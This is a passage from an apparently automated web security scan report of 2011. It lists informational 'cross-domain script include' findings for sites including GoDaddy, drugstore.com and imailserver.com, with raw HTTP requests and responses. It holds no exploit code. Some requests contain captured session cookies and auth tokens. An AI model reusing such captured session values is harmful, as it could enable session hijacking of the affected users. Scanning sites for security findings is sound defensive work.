<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://static.ak.fbcdn.net/connect.php/js/FB.Share' type='text/javascript'></script>
...[SNIP]...
</script>
<script src='http://tweetmeme.com/i/scripts/button.js' type='text/javascript'>
</script>
...[SNIP]...
</script><script src='http://widgetsplus.com/google_plus_widget.js' type='text/javascript'></script>
...[SNIP]...
</a>
<script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script>
...[SNIP]...
</div>
<script src='http://s7.addthis.com/js/250/addthis_widget.js' type='text/javascript'></script>
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div class='widget-content'>
<script src="http://feeds.feedburner.com/TheHackersNews?format=sigpro" type="text/javascript" ></script>
...[SNIP]...
<A href='http://www.alexa.com/siteinfo/http://www.thehackernews.com'><SCRIPT language='JavaScript' src='http://xslt.alexa.com/site_stats/js/s/a?url=http://www.thehackernews.com' type='text/javascript'></SCRIPT>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/931580185-widgets.js"></script>
...[SNIP]...

16.31. http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thehackernews.com
Path:	/2011/09/godaddy-websites-compromised-with.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
http://apis.google.com/js/plusone.js
http://connect.facebook.net/en_US/all.js
http://feeds.feedburner.com/TheHackersNews?format=sigpro
http://platform.twitter.com/widgets.js
http://s7.addthis.com/js/250/addthis_widget.js
http://widgets.digg.com/buttons.js
http://widgetsplus.com/google_plus_widget.js
http://www.blogger.com/static/v1/widgets/931580185-widgets.js
http://www.stumbleupon.com/hostedbadge.php?s=1
http://xslt.alexa.com/site_stats/js/s/a?url=http://www.thehackernews.com
https://apis.google.com/js/plusone.js

Request

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Fri, 16 Sep 2011 17:55:14 GMT
Date: Fri, 16 Sep 2011 17:55:14 GMT
Cache-Control: private, max-age=0
Last-Modified: Fri, 16 Sep 2011 17:50:54 GMT
ETag: "55a56cd2-1aee-4205-a042-2456f7bca899"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 97516
Server: GSE

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</style>
<script src='http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js' type='text/javascript'></script>
...[SNIP]...
</style>
<script src='http://apis.google.com/js/plusone.js' type='text/javascript'> {lang: 'en-US'} </script>
...[SNIP]...
</script>
<script src='https://apis.google.com/js/plusone.js' type='text/javascript'>
</script>
...[SNIP]...
</a>
<script src='http://platform.twitter.com/widgets.js' type='text/javascript'/>
<script src="http://connect.facebook.net/en_US/all.js#appId=214086668642393&xfbml=1">
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
</a><script src='http://widgets.digg.com/buttons.js' type='text/javascript'></script>
...[SNIP]...
</a><script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script>
...[SNIP]...
<div class='social_button su'>
<script src='http://www.stumbleupon.com/hostedbadge.php?s=1'></script>
...[SNIP]...
</h2>
<script src='http://feeds.feedburner.com/TheHackersNews?format=sigpro' type='text/javascript'></script>
...[SNIP]...
</script><script src='http://widgetsplus.com/google_plus_widget.js' type='text/javascript'></script>
...[SNIP]...
</a>
<script src='http://platform.twitter.com/widgets.js' type='text/javascript'></script>
...[SNIP]...
</div>
<script src='http://s7.addthis.com/js/250/addthis_widget.js' type='text/javascript'></script>
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<div class='widget-content'>
<script src="http://connect.facebook.net/en_US/all.js#xfbml=1"></script>
...[SNIP]...
<A href='http://www.alexa.com/siteinfo/http://www.thehackernews.com'><SCRIPT language='JavaScript' src='http://xslt.alexa.com/site_stats/js/s/a?url=http://www.thehackernews.com' type='text/javascript'></SCRIPT>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/931580185-widgets.js"></script>
...[SNIP]...

16.32. http://ws.amazon.com/widgets/q previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ws.amazon.com
Path:	/widgets/q

Issue detail

The response dynamically includes the following script from another domain:

http://wms.assoc-amazon.com/20070822/US/js/8002_7.js

Request

Response

16.33. http://www.altn.com/Downloads/FreeEvaluation/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.altn.com
Path:	/Downloads/FreeEvaluation/

Issue detail

The response dynamically includes the following script from another domain:

http://www.googleadservices.com/pagead/conversion.js

Request

GET /Downloads/FreeEvaluation/ HTTP/1.1
Host: www.altn.com
Proxy-Connection: keep-alive
Referer: http://www.altn.com/Downloads/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=1shsajjk30ypkr45a4knjdj4; CMSPreferredCulture=en-us; csauth=dXNlcklkPXtGQjE2RkNCQi01QUNDLTRBQzgtOTM1NS1DMzc5Qzg0N0VGRER9OmNhdGFsb2dJZD17MTExMTExMTEtMTExMS0xMTExLTExMTEtMTExMTExMTExMTExfTplbWFpbD06YXV0aFR5cGU9MDp1c2VyVHlwZT0w; __utma=1.338578957.1316207681.1316207681.1316207697.2; __utmb=1.4.10.1316207697; __utmc=1; __utmz=1.1316207697.2.2.utmcsr=search|utmccn=(organic)|utmcmd=organic|utmctr=xss

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:14:16 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 35320

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/19
...[SNIP]...
</script><script language="JavaScript" src="http://www.googleadservices.com/pagead/conversion.js">
</script>
...[SNIP]...

16.34. http://www.altn.com/Products/MDaemon-Email-Server-Windows/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.altn.com
Path:	/Products/MDaemon-Email-Server-Windows/

Issue detail

The response dynamically includes the following script from another domain:

http://www.zoomerang.com/Shared/Report/L22XZG54CT2Z/QuestionResultsWidget/check_7?width=177&bc=226DB1&bgc=CFE8FC&fc=000000&fs=10&rc=False&rp=True&trc=False&shn=True&tb=False&pr=False

Request

Response

16.35. http://www.blackbaud.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blackbaud.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://t5.trackalyzer.com/trackalyze.js
http://w.sharethis.com/button/buttons.js

Request

Response

16.36. http://www.bookkeepers.com.au/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bookkeepers.com.au
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET / HTTP/1.1
Host: www.bookkeepers.com.au
Proxy-Connection: keep-alive
Referer: http://www.visisearch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:14:46 GMT
Server: Apache
X-Powered-By: PHP/5.2.17
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Fri, 16 Sep 2011 16:14:52 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 575055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
<
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...
</script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript">
</script>
...[SNIP]...

16.37. http://www.drugstore.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/prototype.min.js?v=1.4.0
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/scriptaculous.js?v=1.5.2
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/edutl.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/shoprunner_init.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/web_analytics/s_code.js?v=0.1
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/scripts.asp?v=0.4
http://code.jquery.com/jquery-latest.js
http://tracking.waterfrontmedia.com/GCScript.ashx
http://www.googleadservices.com/pagead/conversion.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 81879
Content-Type: text/html; charset=utf-8
Expires: Thu, 15 Sep 2011 16:30:25 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:ndla3vftgeechv555qu43rz2; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:30:25 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:30:25 GMT; path=/
Vary: Accept-Encoding, User-Agent

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><title>drugstore.com Online
...[SNIP]...
<div style="font-size: 0px" class="showcase">
       <script src="http://code.jquery.com/jquery-latest.js">
       </script>
...[SNIP]...
<br />
<script language="javascript" type="text/javascript" src="http://tracking.waterfrontmedia.com/GCScript.ashx"></script>
...[SNIP]...
</center><script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/prototype.min.js?v=1.4.0"></script>
<script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/scriptaculous.js?v=1.5.2"></script>
<script src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/scripts.asp?v=0.4"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/web_analytics/s_code.js?v=0.1"></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.googleadservices.com/pagead/conversion.js">
   </script>
...[SNIP]...
</script><script type="text/javascript" src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/shoprunner_init.js"></script>
...[SNIP]...
<script src="http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/edutl.js"></script>
...[SNIP]...

16.38. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/pharmacy/drugindex/rxsearch.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/prototype.min.js?v=1.4.0
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/lookahead/scriptaculous.js?v=1.5.2
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/edutl.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/shoprunner/shoprunner_init.js
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/3rdparty/web_analytics/s_code.js?v=0.1
http://a216.g.akamai.net/f/216/580/1d/www.drugstore.com/js/scripts.asp?v=0.4

Request

Response

16.39. http://www.facebook.com/connect/connect.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/connect.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

Response

16.40. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Issue detail

The response dynamically includes the following scripts from other domains:

http://static.ak.fbcdn.net/rsrc.php/v1/y4/r/swbbSSZsgUH.js
http://static.ak.fbcdn.net/rsrc.php/v1/yE/r/mfIzqmOUElv.js
http://static.ak.fbcdn.net/rsrc.php/v1/yX/r/Auo4xRDh0AB.js
http://static.ak.fbcdn.net/rsrc.php/v1/yk/r/NdcRVhQ8IGY.js
http://static.ak.fbcdn.net/rsrc.php/v1/ym/r/i9AGFgh-UYl.js

Request

Response

16.41. http://www.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.5.1.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js
http://img3.wsimg.com/fos/script/QuickBuyInsert9.min.js
http://img3.wsimg.com/fos/script/ViewExtensionsInsert7.min.js
http://img3.wsimg.com/fos/script/atlantis_jquery8.min.js
http://img3.wsimg.com/fos/script/atlantis_jquery9.min.js
http://img3.wsimg.com/fos/script/jquery.tablesorter.min.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.42. http://www.godaddy.com/domains/search.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/domains/search.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/atlantis_jquery8.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.43. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://imagesak.securepaynet.net/AtlantisScripts/jquery/jquery-1.3.1.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.44. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.5.1.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/atlantis_jquery9.min.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.45. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The response dynamically includes the following scripts from other domains:

http://img3.wsimg.com/AtlantisScripts/jquery/jquery-1.3.2.min.js
http://img3.wsimg.com/fastball/js_lib/FastballLibrary0006.js?version=2
http://img3.wsimg.com/fos/script/ProductAdvisor5.min.js
http://img3.wsimg.com/fos/script/sales16.min.js
http://img3.wsimg.com/pc/js/1/gd_js_20110817.min.js

Request

Response

16.46. http://www.imailserver.com/products/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/products/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /products/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/resources/find-a-reseller/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.4.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:32:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 22709

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736c1b5ae5ecbd"></script>
...[SNIP]...

16.47. http://www.imailserver.com/products/imail-secure-server/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/products/imail-secure-server/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /products/imail-secure-server/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/products/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.5.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:32:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 24138

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736c1f4bf8c888"></script>
...[SNIP]...

16.48. http://www.imailserver.com/resources/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/resources/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /resources/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/windows-email-server/?k_id=imailserver_com_imail_internetmarketing_worldwide_googleadwords&gclid=cpnitvmjoqscfqhrgwodlzugzg
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.1.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:28:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 22133

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736b0e21b420c1"></script>
...[SNIP]...

16.49. http://www.imailserver.com/resources/find-a-reseller/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/resources/find-a-reseller/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /resources/find-a-reseller/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/resources/testimonials/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.3.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:32:41 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 27085

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736c193d3e3cdd"></script>
...[SNIP]...

16.50. http://www.imailserver.com/resources/testimonials/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/resources/testimonials/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /resources/testimonials/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/resources/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.2.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:29:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 24628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736b746765c691"></script>
...[SNIP]...

16.51. http://www.imailserver.com/support/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.imailserver.com
Path:	/support/

Issue detail

The response dynamically includes the following script from another domain:

http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /support/ HTTP/1.1
Host: www.imailserver.com
Proxy-Connection: keep-alive
Referer: http://www.imailserver.com/products/imail-secure-server/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OmnitureID=7E7BB50C0E807960C41FF98EEDD6EB4DB9CA7EA3FFDFD640; __utma=215877519.1126109822.1316204852.1316204852.1316204852.1; __utmb=215877519.6.10.1316204852; __utmc=215877519; __utmz=215877519.1316204852.1.1.utmgclid=cpnitvmjoqscfqhrgwodlzugzg|utmccn=(not%20set)|utmcmd=(not%20set)|utmctr=smtp%20server

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 15:32:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Powered-By: PHP/5.3.2
X-Pingback: http://www.imailserver.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Content-Length: 25352

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
</script><script type="text/javascript" src="//s7.addthis.com/js/250/addthis_widget.js#pubid=wp-4e736c271378e92c"></script>
...[SNIP]...

